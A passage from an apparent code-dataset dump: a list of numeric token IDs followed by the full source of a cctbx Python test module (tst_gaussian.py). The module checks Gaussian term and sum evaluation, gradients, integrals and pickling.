29950,
539,
29896,
29900,
29889,
29955,
29947,
29947,
29929,
29947,
29953,
4706,
29953,
29889,
29946,
29941,
29953,
29953,
29955,
29906,
4706,
29906,
29889,
29896,
29906,
29955,
29929,
29941,
29941,
13,
29950,
539,
29896,
29896,
29889,
29953,
29945,
29955,
29929,
29906,
29941,
4706,
29945,
29889,
29946,
29953,
29941,
29953,
29900,
29906,
4706,
29896,
29889,
29941,
29945,
29929,
29947,
29941,
29906,
13,
29950,
4706,
29941,
29889,
29945,
29946,
29946,
29946,
29955,
29953,
4706,
29896,
29889,
29953,
29941,
29946,
29929,
29945,
29947,
539,
29896,
29900,
29889,
29929,
29955,
29955,
29955,
29953,
29945,
13,
29950,
4706,
29946,
29889,
29955,
29945,
29945,
29955,
29955,
29900,
4706,
29896,
29889,
29946,
29945,
29945,
29900,
29945,
29946,
539,
29896,
29900,
29889,
29900,
29947,
29955,
29953,
29945,
29945,
13,
29950,
4706,
29946,
29889,
29946,
29953,
29945,
29941,
29955,
29896,
4706,
29941,
29889,
29941,
29955,
29945,
29946,
29945,
29929,
4706,
29945,
29889,
29953,
29953,
29945,
29906,
29929,
29946,
13,
29950,
4706,
29945,
29889,
29953,
29947,
29906,
29953,
29953,
29941,
4706,
29946,
29889,
29906,
29953,
29946,
29946,
29941,
29900,
4706,
29945,
29889,
29945,
29906,
29946,
29946,
29929,
29947,
13,
29950,
4706,
29953,
29889,
29896,
29955,
29946,
29947,
29896,
29945,
539,
29896,
29896,
29889,
29955,
29955,
29947,
29953,
29955,
29953,
4706,
29896,
29889,
29945,
29947,
29906,
29929,
29945,
29946,
13,
29950,
4706,
29945,
29889,
29955,
29896,
29941,
29953,
29946,
29900,
539,
29896,
29906,
29889,
29900,
29947,
29929,
29929,
29906,
29946,
4706,
29900,
29889,
29896,
29955,
29946,
29929,
29929,
29929,
13,
29950,
4706,
29941,
29889,
29946,
29955,
29953,
29900,
29955,
29953,
4706,
29896,
29889,
29946,
29929,
29947,
29955,
29900,
29947,
4706,
29906,
29889,
29900,
29906,
29947,
29929,
29947,
29941,
13,
29950,
4706,
29906,
29889,
29955,
29941,
29900,
29906,
29906,
29929,
4706,
29906,
29889,
29896,
29941,
29946,
29906,
29929,
29945,
4706,
29941,
29889,
29896,
29947,
29906,
29929,
29946,
29929,
13,
29950,
4706,
29955,
29889,
29896,
29896,
29929,
29953,
29906,
29946,
4706,
29945,
29889,
29929,
29941,
29953,
29946,
29945,
29900,
4706,
29955,
29889,
29946,
29955,
29946,
29900,
29941,
29900,
13,
29950,
4706,
29947,
29889,
29945,
29941,
29953,
29946,
29929,
29906,
4706,
29945,
29889,
29955,
29929,
29929,
29946,
29900,
29945,
4706,
29953,
29889,
29929,
29945,
29947,
29953,
29953,
29945,
13,
29950,
4706,
29945,
29889,
29929,
29900,
29929,
29946,
29929,
29929,
4706,
29945,
29889,
29955,
29896,
29955,
29946,
29955,
29955,
539,
29896,
29896,
29889,
29953,
29953,
29955,
29953,
29906,
29896,
13,
29950,
4706,
29953,
29889,
29896,
29906,
29945,
29946,
29900,
29906,
4706,
29953,
29889,
29896,
29929,
29953,
29955,
29945,
29947,
539,
29896,
29941,
29889,
29900,
29947,
29955,
29941,
29941,
29900,
13,
29950,
539,
29896,
29896,
29889,
29906,
29900,
29941,
29946,
29929,
29929,
539,
29896,
29906,
29889,
29945,
29896,
29941,
29945,
29941,
29953,
539,
29896,
29896,
29889,
29947,
29900,
29946,
29947,
29946,
29946,
13,
29950,
539,
29896,
29900,
29889,
29906,
29953,
29900,
29929,
29941,
29900,
539,
29896,
29906,
29889,
29941,
29900,
29900,
29896,
29945,
29941,
539,
29896,
29906,
29889,
29929,
29955,
29900,
29896,
29946,
29945,
13,
29950,
4706,
29929,
29889,
29929,
29947,
29945,
29900,
29941,
29953,
4706,
29941,
29889,
29929,
29906,
29955,
29953,
29947,
29945,
4706,
29906,
29889,
29947,
29955,
29947,
29896,
29955,
29906,
13,
29950,
4706,
29947,
29889,
29945,
29946,
29945,
29945,
29947,
29946,
4706,
29941,
29889,
29946,
29953,
29947,
29941,
29906,
29929,
4706,
29906,
29889,
29929,
29955,
29906,
29941,
29941,
29896,
13,
29950,
4706,
29896,
29889,
29941,
29929,
29929,
29947,
29947,
29906,
4706,
29953,
29889,
29953,
29906,
29900,
29900,
29929,
29906,
4706,
29955,
29889,
29900,
29929,
29941,
29906,
29946,
29953,
13,
29950,
4706,
29900,
29889,
29929,
29953,
29941,
29945,
29953,
29896,
4706,
29953,
29889,
29896,
29896,
29906,
29945,
29906,
29941,
4706,
29945,
29889,
29955,
29941,
29945,
29941,
29946,
29945,
13,
29950,
4706,
29947,
29889,
29900,
29953,
29955,
29941,
29953,
29941,
4706,
29941,
29889,
29953,
29955,
29946,
29900,
29900,
29906,
4706,
29929,
29889,
29929,
29955,
29929,
29929,
29945,
29945,
13,
29950,
4706,
29947,
29889,
29900,
29900,
29900,
29955,
29941,
29955,
4706,
29906,
29889,
29941,
29955,
29945,
29929,
29945,
29929,
539,
29896,
29900,
29889,
29955,
29945,
29953,
29896,
29929,
29900,
13,
29950,
539,
29896,
29896,
29889,
29947,
29906,
29896,
29953,
29906,
29929,
539,
29896,
29900,
29889,
29946,
29900,
29906,
29945,
29896,
29900,
539,
29896,
29906,
29889,
29900,
29906,
29900,
29946,
29947,
29906,
13,
29950,
539,
29896,
29906,
29889,
29906,
29900,
29953,
29947,
29945,
29946,
4706,
29947,
29889,
29929,
29947,
29941,
29906,
29946,
29906,
539,
29896,
29906,
29889,
29941,
29955,
29929,
29947,
29929,
29906,
13,
29950,
4706,
29941,
29889,
29946,
29953,
29896,
29946,
29955,
29941,
4706,
29955,
29889,
29953,
29900,
29953,
29946,
29947,
29945,
4706,
29955,
29889,
29947,
29947,
29929,
29953,
29947,
29947,
13,
29950,
4706,
29941,
29889,
29947,
29946,
29946,
29946,
29955,
29947,
4706,
29953,
29889,
29941,
29900,
29946,
29955,
29896,
29896,
4706,
29947,
29889,
29945,
29953,
29900,
29929,
29946,
29953,
13,
29950,
4706,
29941,
29889,
29896,
29955,
29929,
29947,
29947,
29946,
4706,
29955,
29889,
29945,
29947,
29945,
29953,
29896,
29946,
539,
29896,
29896,
29889,
29896,
29946,
29947,
29946,
29929,
29946,
13,
29950,
4706,
29946,
29889,
29946,
29900,
29896,
29929,
29945,
29955,
4706,
29955,
29889,
29953,
29945,
29906,
29900,
29941,
29900,
539,
29896,
29906,
29889,
29900,
29941,
29929,
29945,
29955,
29941,
13,
29950,
539,
29896,
29896,
29889,
29945,
29955,
29941,
29955,
29955,
29955,
4706,
29945,
29889,
29900,
29945,
29941,
29906,
29896,
29896,
4706,
29955,
29889,
29896,
29953,
29929,
29945,
29896,
29945,
13,
29950,
539,
29896,
29900,
29889,
29941,
29946,
29906,
29900,
29955,
29953,
4706,
29946,
29889,
29896,
29947,
29953,
29900,
29947,
29941,
4706,
29955,
29889,
29941,
29906,
29900,
29947,
29941,
29896,
13,
29950,
539,
29896,
29900,
29889,
29900,
29953,
29945,
29953,
29946,
29900,
4706,
29947,
29889,
29929,
29896,
29929,
29896,
29929,
29946,
4706,
29896,
29889,
29955,
29953,
29900,
29929,
29947,
29896,
13,
29950,
4706,
29929,
29889,
29953,
29906,
29929,
29945,
29947,
29945,
4706,
29947,
29889,
29941,
29906,
29906,
29946,
29929,
29929,
4706,
29900,
29889,
29946,
29941,
29929,
29955,
29906,
29929,
13,
29950,
4706,
29896,
29889,
29941,
29929,
29953,
29941,
29900,
29906,
4706,
29953,
29889,
29945,
29946,
29953,
29900,
29955,
29929,
4706,
29929,
29889,
29953,
29906,
29945,
29953,
29941,
29900,
13,
29950,
4706,
29896,
29889,
29946,
29900,
29945,
29945,
29896,
29953,
4706,
29953,
29889,
29946,
29955,
29929,
29955,
29945,
29929,
539,
29896,
29896,
29889,
29896,
29941,
29947,
29900,
29946,
29929,
13,
29950,
4706,
29946,
29889,
29900,
29906,
29946,
29900,
29900,
29947,
4706,
29896,
29889,
29906,
29941,
29906,
29945,
29896,
29947,
4706,
29945,
29889,
29946,
29900,
29945,
29947,
29906,
29947,
13,
29950,
4706,
29946,
29889,
29955,
29941,
29953,
29947,
29945,
29947,
4706,
29900,
29889,
29945,
29955,
29929,
29947,
29947,
29896,
4706,
29953,
29889,
29945,
29955,
29896,
29900,
29955,
29955,
13,
29950,
4706,
29929,
29889,
29946,
29945,
29906,
29906,
29929,
29941,
539,
29896,
29906,
29889,
29941,
29896,
29941,
29941,
29947,
29896,
4706,
29947,
29889,
29955,
29941,
29906,
29955,
29955,
29906,
13,
29950,
4706,
29947,
29889,
29929,
29955,
29953,
29945,
29945,
29929,
539,
29896,
29896,
29889,
29945,
29900,
29906,
29955,
29947,
29947,
4706,
29955,
29889,
29945,
29946,
29945,
29929,
29953,
29945,
13,
29950,
4706,
29896,
29889,
29947,
29941,
29946,
29955,
29900,
29896,
539,
29896,
29900,
29889,
29900,
29896,
29906,
29941,
29896,
29896,
4706,
29900,
29889,
29896,
29945,
29941,
29946,
29953,
29906,
13,
29950,
4706,
29941,
29889,
29906,
29929,
29945,
29896,
29929,
29955,
4706,
29929,
29889,
29947,
29941,
29953,
29946,
29900,
29941,
418,
448,
29900,
29889,
29906,
29900,
29946,
29896,
29955,
29945,
13,
29950,
4706,
29955,
29889,
29900,
29945,
29953,
29955,
29906,
29946,
539,
29896,
29896,
29889,
29946,
29900,
29896,
29955,
29900,
29906,
4706,
29946,
29889,
29900,
29929,
29945,
29906,
29953,
29946,
13,
29950,
4706,
29953,
29889,
29946,
29929,
29929,
29900,
29941,
29947,
539,
29896,
29900,
29889,
29900,
29906,
29900,
29906,
29947,
29955,
4706,
29941,
29889,
29947,
29906,
29945,
29947,
29953,
29945,
13,
29950,
4706,
29896,
29889,
29941,
29953,
29945,
29945,
29946,
29896,
4706,
29900,
29889,
29946,
29947,
29955,
29941,
29941,
29947,
539,
29896,
29896,
29889,
29900,
29896,
29941,
29947,
29947,
29955,
13,
29950,
4706,
29906,
29889,
29945,
29900,
29896,
29945,
29929,
29896,
418,
448,
29900,
29889,
29946,
29906,
29947,
29896,
29941,
29896,
539,
29896,
29896,
29889,
29946,
29896,
29955,
29947,
29955,
29896,
13,
29950,
4706,
29947,
29889,
29953,
29946,
29946,
29906,
29955,
29929,
4706,
29896,
29889,
29947,
29896,
29906,
29941,
29953,
29906,
4706,
29896,
29889,
29900,
29900,
29945,
29946,
29900,
29929,
13,
29950,
4706,
29947,
29889,
29896,
29946,
29906,
29953,
29955,
29946,
4706,
29900,
29889,
29941,
29947,
29947,
29900,
29941,
29900,
4706,
29896,
29889,
29896,
29896,
29906,
29929,
29945,
29945,
13,
29950,
4706,
29896,
29889,
29906,
29955,
29906,
29953,
29945,
29929,
4706,
29947,
29889,
29941,
29953,
29945,
29900,
29953,
29941,
4706,
29947,
29889,
29896,
29929,
29896,
29947,
29947,
29947,
13,
29950,
4706,
29906,
29889,
29896,
29946,
29906,
29946,
29947,
29945,
4706,
29947,
29889,
29947,
29955,
29955,
29955,
29953,
29947,
4706,
29955,
29889,
29900,
29953,
29941,
29947,
29953,
29955,
13,
29950,
4706,
29947,
29889,
29929,
29953,
29896,
29946,
29929,
29941,
4706,
29955,
29889,
29947,
29906,
29953,
29896,
29929,
29906,
4706,
29929,
29889,
29906,
29953,
29945,
29945,
29906,
29941,
13,
29950,
4706,
29929,
29889,
29906,
29906,
29955,
29896,
29900,
29906,
4706,
29947,
29889,
29946,
29947,
29955,
29953,
29945,
29946,
539,
29896,
29900,
29889,
29953,
29900,
29896,
29896,
29896,
29947,
13,
29950,
539,
29896,
29900,
29889,
29896,
29945,
29900,
29896,
29946,
29946,
4706,
29955,
29889,
29955,
29945,
29947,
29929,
29941,
29946,
4706,
29953,
29889,
29941,
29929,
29906,
29955,
29953,
29947,
13,
29950,
539,
29896,
29900,
29889,
29945,
29929,
29953,
29900,
29947,
29906,
4706,
29929,
29889,
29896,
29947,
29955,
29929,
29947,
29947,
4706,
29953,
29889,
29896,
29953,
29955,
29906,
29929,
29900,
13,
29950,
4706,
29941,
29889,
29946,
29953,
29941,
29896,
29900,
29953,
4706,
29946,
29889,
29900,
29929,
29953,
29896,
29947,
29947,
4706,
29906,
29889,
29896,
29906,
29929,
29946,
29896,
29946,
13,
29950,
4706,
29941,
29889,
29929,
29896,
29929,
29946,
29953,
29896,
4706,
29946,
29889,
29945,
29941,
29929,
29947,
29900,
29896,
4706,
29900,
29889,
29955,
29945,
29945,
29955,
29929,
29896,
13,
29950,
4706,
29955,
29889,
29946,
29896,
29947,
29929,
29929,
29947,
4706,
29929,
29889,
29941,
29929,
29946,
29929,
29945,
29929,
539,
29896,
29906,
29889,
29900,
29906,
29947,
29947,
29955,
29953,
13,
29950,
4706,
29955,
29889,
29946,
29941,
29900,
29946,
29896,
29941,
4706,
29955,
29889,
29947,
29947,
29941,
29900,
29929,
29945,
539,
29896,
29906,
29889,
29896,
29900,
29953,
29945,
29946,
29953,
13,
29950,
4706,
29955,
29889,
29929,
29955,
29906,
29929,
29900,
29945,
539,
29896,
29900,
29889,
29906,
29906,
29900,
29941,
29941,
29946,
4706,
29945,
29889,
29947,
29946,
29896,
29896,
29929,
29953,
13,
29950,
4706,
29955,
29889,
29953,
29955,
29945,
29896,
29896,
29896,
4706,
29929,
29889,
29953,
29941,
29896,
29946,
29929,
29947,
4706,
29955,
29889,
29906,
29900,
29941,
29955,
29906,
29945,
13,
29950,
4706,
29945,
29889,
29941,
29941,
29906,
29946,
29946,
29953,
4706,
29953,
29889,
29941,
29947,
29896,
29941,
29941,
29953,
4706,
29953,
29889,
29946,
29896,
29929,
29946,
29955,
29941,
13,
29950,
4706,
29945,
29889,
29900,
29900,
29900,
29900,
29906,
29945,
4706,
29953,
29889,
29946,
29941,
29946,
29896,
29947,
29953,
4706,
29946,
29889,
29929,
29946,
29941,
29946,
29953,
29953,
13,
29950,
539,
29896,
29896,
29889,
29945,
29955,
29945,
29900,
29955,
29947,
4706,
29906,
29889,
29906,
29955,
29896,
29896,
29953,
29955,
4706,
29946,
29889,
29946,
29896,
29906,
29945,
29946,
29900,
13,
29950,
539,
29896,
29896,
29889,
29906,
29896,
29929,
29947,
29900,
29906,
4706,
29900,
29889,
29947,
29946,
29955,
29900,
29941,
29900,
4706,
29946,
29889,
29955,
29947,
29941,
29941,
29945,
29955,
13,
29950,
4706,
29947,
29889,
29947,
29953,
29945,
29941,
29946,
29906,
4706,
29929,
29889,
29955,
29906,
29896,
29945,
29896,
29953,
4706,
29941,
29889,
29947,
29946,
29941,
29929,
29929,
29947,
13,
29950,
539,
29896,
29900,
29889,
29900,
29900,
29900,
29955,
29941,
29906,
539,
29896,
29900,
29889,
29955,
29896,
29929,
29906,
29947,
29945,
4706,
29941,
29889,
29955,
29945,
29947,
29947,
29929,
29947,
13,
29950,
4706,
29941,
29889,
29896,
29947,
29953,
29896,
29929,
29953,
539,
29896,
29900,
29889,
29946,
29955,
29953,
29941,
29929,
29955,
4706,
29945,
29889,
29906,
29953,
29945,
29941,
29941,
29941,
13,
29950,
4706,
29946,
29889,
29946,
29900,
29955,
29941,
29941,
29896,
539,
29896,
29896,
29889,
29941,
29941,
29945,
29896,
29906,
29947,
4706,
29945,
29889,
29900,
29896,
29941,
29955,
29906,
29941,
13,
29950,
4706,
29900,
29889,
29945,
29945,
29947,
29896,
29947,
29955,
4706,
29955,
29889,
29906,
29945,
29945,
29929,
29941,
29953,
4706,
29941,
29889,
29947,
29945,
29929,
29941,
29941,
29896,
13,
29950,
4706,
29900,
29889,
29941,
29946,
29896,
29953,
29955,
29906,
4706,
29945,
29889,
29955,
29947,
29929,
29941,
29947,
29941,
4706,
29941,
29889,
29945,
29945,
29906,
29941,
29946,
29953,
13,
29950,
4706,
29955,
29889,
29946,
29945,
29929,
29929,
29941,
29941,
4706,
29953,
29889,
29945,
29906,
29953,
29900,
29946,
29929,
4706,
29941,
29889,
29906,
29906,
29929,
29896,
29929,
29941,
13,
29950,
4706,
29953,
29889,
29953,
29929,
29953,
29906,
29906,
29947,
4706,
29945,
29889,
29946,
29947,
29941,
29955,
29941,
29929,
4706,
29906,
29889,
29946,
29946,
29900,
29941,
29955,
29906,
13,
29950,
4706,
29941,
29889,
29947,
29953,
29946,
29947,
29955,
29906,
4706,
29953,
29889,
29941,
29896,
29941,
29900,
29900,
29955,
4706,
29906,
29889,
29947,
29946,
29929,
29941,
29947,
29945,
13,
29950,
4706,
29906,
29889,
29947,
29955,
29953,
29946,
29896,
29929,
4706,
29953,
29889,
29953,
29906,
29896,
29906,
29900,
29896,
4706,
29941,
29889,
29929,
29945,
29941,
29947,
29953,
29906,
13,
29950,
4706,
29945,
29889,
29953,
29941,
29896,
29945,
29906,
29929,
4706,
29947,
29889,
29900,
29955,
29929,
29896,
29946,
29945,
4706,
29947,
29889,
29955,
29945,
29941,
29929,
29929,
29955,
13,
29950,
4706,
29955,
29889,
29900,
29900,
29941,
29906,
29929,
29953,
4706,
29955,
29889,
29945,
29953,
29947,
29906,
29946,
29945,
4706,
29947,
29889,
29941,
29953,
29955,
29947,
29906,
29906,
13,
29950,
4706,
29929,
29889,
29953,
29896,
29945,
29946,
29896,
29941,
4706,
29900,
29889,
29945,
29906,
29955,
29929,
29900,
29906,
4706,
29941,
29889,
29900,
29941,
29896,
29955,
29945,
29945,
13,
29950,
4706,
29947,
29889,
29929,
29953,
29906,
29929,
29947,
29945,
4706,
29900,
29889,
29896,
29900,
29929,
29941,
29953,
29953,
4706,
29946,
29889,
29941,
29941,
29906,
29896,
29953,
29906,
13,
29950,
4706,
29941,
29889,
29947,
29906,
29945,
29947,
29945,
29946,
539,
29896,
29896,
29889,
29896,
29941,
29929,
29896,
29947,
29906,
4706,
29896,
29889,
29946,
29955,
29946,
29900,
29947,
29955,
13,
29950,
4706,
29946,
29889,
29900,
29953,
29941,
29929,
29947,
29947,
539,
29896,
29896,
29889,
29900,
29953,
29941,
29906,
29941,
29906,
4706,
29906,
29889,
29929,
29953,
29955,
29906,
29896,
29896,
13,
29950,
4706,
29945,
29889,
29955,
29947,
29946,
29941,
29929,
29896,
4706,
29955,
29889,
29929,
29896,
29946,
29945,
29945,
29947,
4706,
29906,
29889,
29955,
29900,
29947,
29946,
29947,
29953,
13,
29950,
4706,
29946,
29889,
29955,
29947,
29900,
29946,
29953,
29896,
4706,
29947,
29889,
29953,
29945,
29945,
29896,
29953,
29955,
4706,
29941,
29889,
29945,
29953,
29953,
29896,
29896,
29900,
13,
29950,
539,
29896,
29900,
29889,
29947,
29947,
29900,
29953,
29945,
29929,
4706,
29945,
29889,
29946,
29946,
29946,
29953,
29953,
29946,
4706,
29945,
29889,
29900,
29946,
29953,
29953,
29900,
29955,
13,
29950,
4706,
29929,
29889,
29945,
29929,
29941,
29941,
29941,
29896,
4706,
29946,
29889,
29953,
29947,
29955,
29929,
29929,
29896,
4706,
29946,
29889,
29955,
29929,
29955,
29941,
29945,
29900,
13,
29950,
539,
29896,
29896,
29889,
29945,
29953,
29906,
29941,
29896,
29955,
4706,
29947,
29889,
29929,
29953,
29900,
29896,
29941,
29946,
4706,
29941,
29889,
29941,
29955,
29953,
29955,
29953,
29945,
13,
29950,
539,
29896,
29896,
29889,
29929,
29906,
29953,
29900,
29947,
29946,
4706,
29947,
29889,
29947,
29896,
29953,
29929,
29946,
29947,
4706,
29946,
29889,
29947,
29941,
29929,
29941,
29906,
29900,
13,
29950,
4706,
29906,
29889,
29947,
29945,
29953,
29947,
29955,
29946,
539,
29896,
29896,
29889,
29906,
29929,
29955,
29929,
29947,
29896,
4706,
29955,
29889,
29946,
29941,
29941,
29953,
29953,
29900,
13,
29950,
4706,
29896,
29889,
29946,
29929,
29906,
29941,
29941,
29906,
539,
29896,
29896,
29889,
29896,
29929,
29945,
29945,
29896,
29955,
4706,
29953,
29889,
29955,
29947,
29953,
29900,
29941,
29941,
13,
29950,
4706,
29955,
29889,
29896,
29946,
29945,
29947,
29906,
29900,
4706,
29900,
29889,
29900,
29929,
29900,
29906,
29900,
29900,
4706,
29929,
29889,
29955,
29946,
29929,
29900,
29900,
29929,
13,
29950,
4706,
29955,
29889,
29906,
29906,
29955,
29906,
29955,
29945,
4706,
29900,
29889,
29900,
29955,
29955,
29953,
29929,
29900,
539,
29896,
29896,
29889,
29906,
29953,
29900,
29953,
29953,
29945,
13,
29950,
4706,
29946,
29889,
29953,
29953,
29906,
29900,
29906,
29896,
4706,
29929,
29889,
29945,
29941,
29947,
29946,
29941,
29900,
539,
29896,
29900,
29889,
29955,
29929,
29947,
29896,
29945,
29945,
13,
29950,
4706,
29945,
29889,
29929,
29929,
29946,
29945,
29941,
29955,
4706,
29929,
29889,
29947,
29941,
29941,
29946,
29955,
29906,
539,
29896,
29900,
29889,
29896,
29946,
29906,
29929,
29947,
29945,
13,
29950,
539,
29896,
29900,
29889,
29945,
29946,
29946,
29906,
29929,
29929,
4706,
29953,
29889,
29945,
29929,
29945,
29947,
29945,
29955,
539,
29896,
29900,
29889,
29941,
29900,
29896,
29946,
29946,
29945,
13,
29950,
539,
29896,
29896,
29889,
29906,
29947,
29896,
29955,
29945,
29900,
4706,
29945,
29889,
29953,
29945,
29941,
29900,
29947,
29906,
4706,
29929,
29889,
29941,
29955,
29946,
29946,
29929,
29946,
13,
29950,
539,
29896,
29906,
29889,
29896,
29900,
29941,
29900,
29906,
29900,
4706,
29947,
29889,
29947,
29946,
29896,
29896,
29953,
29946,
539,
29896,
29900,
29889,
29900,
29900,
29953,
29929,
29896,
29953,
13,
29950,
539,
29896,
29896,
29889,
29946,
29929,
29896,
29945,
29929,
29906,
4706,
29947,
29889,
29945,
29955,
29953,
29906,
29906,
29896,
4706,
29947,
29889,
29953,
29946,
29955,
29945,
29945,
29955,
13,
15945,
613,
13,
18884,
8405,
353,
525,
29887,
386,
29899,
17559,
29894,
29906,
29886,
742,
13,
18884,
17381,
353,
525,
29887,
386,
29899,
29886,
1943,
742,
13,
18884,
4236,
29918,
14834,
353,
29871,
29945,
29900,
29900,
29900,
29900,
29892,
13,
18884,
16716,
353,
29871,
29896,
29872,
29899,
29953,
29897,
13,
13,
1454,
921,
29883,
297,
6702,
3137,
1388,
742,
525,
29886,
915,
29374,
13,
1678,
363,
4558,
297,
9310,
29896,
29892,
29896,
29892,
29896,
1402,
518,
29906,
29892,
29896,
29892,
29896,
1402,
518,
29906,
29892,
29906,
29892,
29896,
1402,
518,
29906,
29892,
29906,
29892,
29906,
29962,
1125,
13,
4706,
3038,
353,
282,
12328,
29889,
8504,
29889,
9136,
29918,
3729,
29898,
3729,
29900,
29892,
4558,
29897,
13,
4706,
1055,
29877,
353,
3038,
29889,
1056,
29877,
13,
4706,
1480,
29889,
6812,
877,
1056,
29877,
353,
1273,
29881,
742,
1055,
29877,
29897,
13,
4706,
270,
29885,
353,
7442,
29889,
8172,
29889,
8172,
3552,
1056,
29877,
29892,
1056,
29877,
876,
13,
4706,
270,
29885,
353,
270,
29885,
718,
270,
29885,
29889,
29911,
13,
13,
4706,
286,
29888,
353,
3038,
29889,
29934,
17557,
2141,
842,
29898,
21791,
29922,
21791,
29897,
13,
4706,
286,
29888,
29889,
2541,
29918,
2176,
353,
1773,
335,
2429,
29889,
15329,
5756,
4198,
29911,
4037,
29898,
3729,
29897,
13,
13,
4706,
26403,
29900,
353,
931,
29889,
13058,
3285,
931,
29889,
2230,
580,
13,
4706,
325,
353,
286,
29888,
29889,
657,
29918,
345,
600,
29898,
3729,
29892,
270,
29885,
29897,
13,
4706,
1480,
29889,
20404,
877,
29943,
1698,
2048,
313,
21791,
16328,
29879,
29892,
1055,
29877,
16328,
29881,
16029,
1273,
313,
21791,
29892,
1055,
29877,
511,
334,
21970,
29900,
29897,
13,
2
] |
scitbx/math/tests/tst_gaussian.py | rimmartin/cctbx_project | 0 | 36645 | <reponame>rimmartin/cctbx_project
from __future__ import division
from scitbx.examples import immoptibox_ports
from scitbx.math import gaussian
from scitbx.array_family import flex
from libtbx.test_utils import approx_equal, eps_eq
from libtbx.utils import format_cpu_times
try:
import cPickle as pickle
except ImportError:
import pickle
from cStringIO import StringIO
import math
import sys
def finite_gradient_dx_at_x(gaussian, x, eps=1.e-5):
if (x == 0): return 0
assert x >= eps
tm = gaussian.at_x(x-eps)
tp = gaussian.at_x(x+eps)
return (tp-tm)/(2*eps)
def exercise_gradient_dx(gaussian, x_max=1., n_points=50):
for i in xrange(n_points+1):
x = x_max * i / n_points
grad_finite = finite_gradient_dx_at_x(gaussian, x)
grad_analytical = gaussian.gradient_dx_at_x(x)
assert eps_eq(grad_finite, grad_analytical)
def exercise_integral_dx(gaussian, x_max=1., n_points=1000):
numerical_integral = 0
x_step = x_max / n_points
for i in xrange(n_points+1):
x = x_max * i / n_points
new_value = gaussian.at_x(x)
if (i):
numerical_integral += (prev_value + new_value) * .5
prev_value = new_value
analytical_integral = gaussian.integral_dx_at_x(x, 1.e-3)
assert eps_eq(analytical_integral, gaussian.integral_dx_at_x(x))
assert eps_eq(numerical_integral*x_step, analytical_integral, eps=1.e-5)
def term_finite_gradient_d_ab_at_x(term, x, eps=1.e-5):
tm = gaussian.term(term.a-eps,term.b).at_x(x)
tp = gaussian.term(term.a+eps,term.b).at_x(x)
gr_a = (tp-tm)/(2*eps)
tm = gaussian.term(term.a,term.b-eps).at_x(x)
tp = gaussian.term(term.a,term.b+eps).at_x(x)
gr_b = (tp-tm)/(2*eps)
return gaussian.term(gr_a, gr_b)
def exercise_term_gradients_d_ab(term, x_max=1., n_points=50):
for i in xrange(n_points+1):
x = x_max * i / n_points
grad_finite = term_finite_gradient_d_ab_at_x(term, x)
grad_analytical = term.gradients_d_ab_at_x_sq(x*x)
assert eps_eq(grad_finite.a, grad_analytical.a)
assert eps_eq(grad_finite.b, grad_analytical.b)
def exercise_term():
t = gaussian.term(2,3)
assert approx_equal(t.a, 2)
assert approx_equal(t.b, 3)
assert approx_equal(t.at_x_sq(4), 2*math.exp(-3*4))
assert approx_equal(t.at_x(2), 2*math.exp(-3*4))
eps = 1.e-5
for ix in (xrange(10)):
x = ix/10.
assert eps_eq((t.at_x(x+eps)-t.at_x(x-eps))/(2*eps), t.gradient_dx_at_x(x))
for f in [1,-1]:
for t in [gaussian.term(f*2,3),
gaussian.term(f*3,0),
gaussian.term(f*4,1.e-4),
gaussian.term(f*5,-1)]:
exercise_gradient_dx(t)
exercise_integral_dx(t)
exercise_term_gradients_d_ab(t)
def exercise_sum():
g = gaussian.sum(0)
assert g.n_terms() == 0
assert g.array_of_a() == ()
assert g.array_of_b() == ()
assert approx_equal(g.c(), 0)
assert g.use_c()
assert g.n_parameters() == 1
assert approx_equal(g.parameters(), [0])
g = gaussian.sum(0, True)
assert g.use_c()
g = gaussian.sum(0, False)
assert not g.use_c()
g = gaussian.sum(1)
assert g.n_terms() == 0
assert g.array_of_a() == ()
assert g.array_of_b() == ()
assert approx_equal(g.c(), 1)
assert g.use_c()
assert g.n_parameters() == 1
assert approx_equal(g.parameters(), [1])
g = gaussian.sum((), ())
assert g.n_terms() == 0
assert g.array_of_a() == ()
assert g.array_of_b() == ()
assert g.c() == 0
assert not g.use_c()
assert g.n_parameters() == 0
assert g.parameters().size() == 0
g = gaussian.sum((), (), -2)
assert g.n_terms() == 0
assert g.array_of_a() == ()
assert g.array_of_b() == ()
assert approx_equal(g.c(), -2)
g = gaussian.sum(flex.double((1,2,3,4)))
assert approx_equal(g.array_of_a(), (1,3))
assert approx_equal(g.array_of_b(), (2,4))
assert approx_equal(g.c(), 0)
assert not g.use_c()
assert approx_equal(g.parameters(), [1,2,3,4])
g = gaussian.sum(flex.double((1,2,3,4)), 0, True)
assert approx_equal(g.c(), 0)
assert g.use_c()
g = gaussian.sum(flex.double((1,2,3,4)), 5)
assert approx_equal(g.c(), 5)
assert g.use_c()
assert approx_equal(g.parameters(), [1,2,3,4,5])
g = gaussian.sum(flex.double((1,2,3,4,5)))
assert approx_equal(g.c(), 5)
assert g.use_c()
assert approx_equal(g.parameters(), [1,2,3,4,5])
g = gaussian.sum((1,-2,3,-4,5), (-.1,.2,-.3,.4,-.5), 6)
assert g.n_terms() == 5
assert approx_equal(g.array_of_a(),(1,-2,3,-4,5))
assert approx_equal(g.array_of_b(),(-.1,.2,-.3,.4,-.5))
assert approx_equal(g.c(), 6)
assert approx_equal(g.at_x_sq(3/4.), 13.4251206)
assert approx_equal(g.at_x_sq(flex.double([2/4.,3/4.])),
[11.8723031, 13.4251206])
assert approx_equal(g.at_x(math.sqrt(3/4.)), 13.4251206)
assert approx_equal(g.at_x(flex.sqrt(flex.double([2/4.,3/4.]))),
[11.8723031, 13.4251206])
s = pickle.dumps(g)
l = pickle.loads(s)
assert l.n_terms() == g.n_terms()
assert approx_equal(l.array_of_a(), g.array_of_a())
assert approx_equal(l.array_of_b(), g.array_of_b())
assert approx_equal(l.c(), g.c())
assert l.use_c()
s = pickle.dumps(gaussian.sum((),()))
l = pickle.loads(s)
assert not l.use_c()
exercise_gradient_dx(gaussian.sum(
[5.5480], [10.4241], 0))
exercise_gradient_dx(gaussian.sum(
[2.657506,1.078079,1.490909,-4.241070,0.713791],
[14.780758,0.776775,42.086842,-0.000294,0.239535],
4.297983))
exercise_integral_dx(gaussian.sum([5.5480], [10.4241]))
exercise_integral_dx(gaussian.sum([5.5480], [10.4241], 3))
exercise_integral_dx(gaussian.sum([5.5480], [0], 0))
exercise_integral_dx(gaussian.sum([5.5480], [-0.01]))
exercise_integral_dx(gaussian.sum(
[2.657506,1.078079,1.490909,-4.241070,0.713791],
[14.780758,0.776775,42.086842,-0.000294,0.239535],
4.297983))
